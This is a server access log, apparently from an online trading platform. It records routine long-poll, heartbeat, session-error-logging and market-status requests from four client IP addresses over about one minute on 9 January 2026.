[09/Jan/2026:12:16:37 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:16:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932469184 HTTP/1.1" -
[09/Jan/2026:12:16:40 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932469546 HTTP/1.1" -
[09/Jan/2026:12:16:41 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56236?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932468200 HTTP/1.1" -
[09/Jan/2026:12:16:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932471723 HTTP/1.1" -
[09/Jan/2026:12:16:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:16:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:16:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932474218 HTTP/1.1" -
[09/Jan/2026:12:16:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932474822 HTTP/1.1" -
[09/Jan/2026:12:16:46 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56236?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932473223 HTTP/1.1" -
[09/Jan/2026:12:16:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932476932 HTTP/1.1" -
[09/Jan/2026:12:16:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:16:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:16:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932479273 HTTP/1.1" -
[09/Jan/2026:12:16:51 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56236?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932478272 HTTP/1.1" -
[09/Jan/2026:12:16:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932480029 HTTP/1.1" -
[09/Jan/2026:12:16:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932482035 HTTP/1.1" -
[09/Jan/2026:12:16:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:16:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:16:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932484310 HTTP/1.1" -
[09/Jan/2026:12:16:56 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56236?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932483329 HTTP/1.1" -
[09/Jan/2026:12:16:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932485255 HTTP/1.1" -
[09/Jan/2026:12:16:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932487106 HTTP/1.1" -
[09/Jan/2026:12:17:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932489349 HTTP/1.1" -
[09/Jan/2026:12:17:01 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56236?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932488374 HTTP/1.1" -
[09/Jan/2026:12:17:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932490388 HTTP/1.1" -
[09/Jan/2026:12:17:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932492270 HTTP/1.1" -
[09/Jan/2026:12:17:03 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:03 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:17:04 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:04 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:17:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932494403 HTTP/1.1" -
[09/Jan/2026:12:17:06 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56236?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932493432 HTTP/1.1" -
[09/Jan/2026:12:17:06 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932495645 HTTP/1.1" -
[09/Jan/2026:12:17:07 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:07 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:17:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932497485 HTTP/1.1" -
[09/Jan/2026:12:17:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932499442 HTTP/1.1" -
[09/Jan/2026:12:17:11 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56236?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932498469 HTTP/1.1" -
[09/Jan/2026:12:17:12 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932500839 HTTP/1.1" -
[09/Jan/2026:12:17:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932502700 HTTP/1.1" -
[09/Jan/2026:12:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:17:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932504494 HTTP/1.1" -
[09/Jan/2026:12:17:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56236?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932503521 HTTP/1.1" -
[09/Jan/2026:12:17:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932506115 HTTP/1.1" -
[09/Jan/2026:12:17:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932507855 HTTP/1.1" -
[09/Jan/2026:12:17:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:17:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:17:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932509530 HTTP/1.1" -
[09/Jan/2026:12:17:21 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56236?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932508560 HTTP/1.1" -
[09/Jan/2026:12:17:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932511291 HTTP/1.1" -
[09/Jan/2026:12:17:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932512927 HTTP/1.1" -
[09/Jan/2026:12:17:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:17:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932514561 HTTP/1.1" -
[09/Jan/2026:12:17:26 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56236?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932513629 HTTP/1.1" -
[09/Jan/2026:12:17:27 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932516565 HTTP/1.1" -
[09/Jan/2026:12:17:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932518119 HTTP/1.1" -
[09/Jan/2026:12:17:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932519579 HTTP/1.1" -
[09/Jan/2026:12:17:31 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56236?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932518689 HTTP/1.1" -
[09/Jan/2026:12:17:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932521796 HTTP/1.1" -
[09/Jan/2026:12:17:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:33 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:17:34 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:34 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:17:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932523331 HTTP/1.1" -
[09/Jan/2026:12:17:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932524623 HTTP/1.1" -
[09/Jan/2026:12:17:36 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56236?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932523739 HTTP/1.1" -
[09/Jan/2026:12:17:38 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:38 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:17:38 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932527224 HTTP/1.1" -
[09/Jan/2026:12:17:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932528539 HTTP/1.1" -
[09/Jan/2026:12:17:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932529652 HTTP/1.1" -
[09/Jan/2026:12:17:41 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56236?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932528766 HTTP/1.1" -
[09/Jan/2026:12:17:43 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932532344 HTTP/1.1" -
[09/Jan/2026:12:17:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932533661 HTTP/1.1" -
[09/Jan/2026:12:17:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:17:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:17:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932534709 HTTP/1.1" -
[09/Jan/2026:12:17:46 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56236?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932533812 HTTP/1.1" -
[09/Jan/2026:12:17:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932537538 HTTP/1.1" -
[09/Jan/2026:12:17:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:17:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:17:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
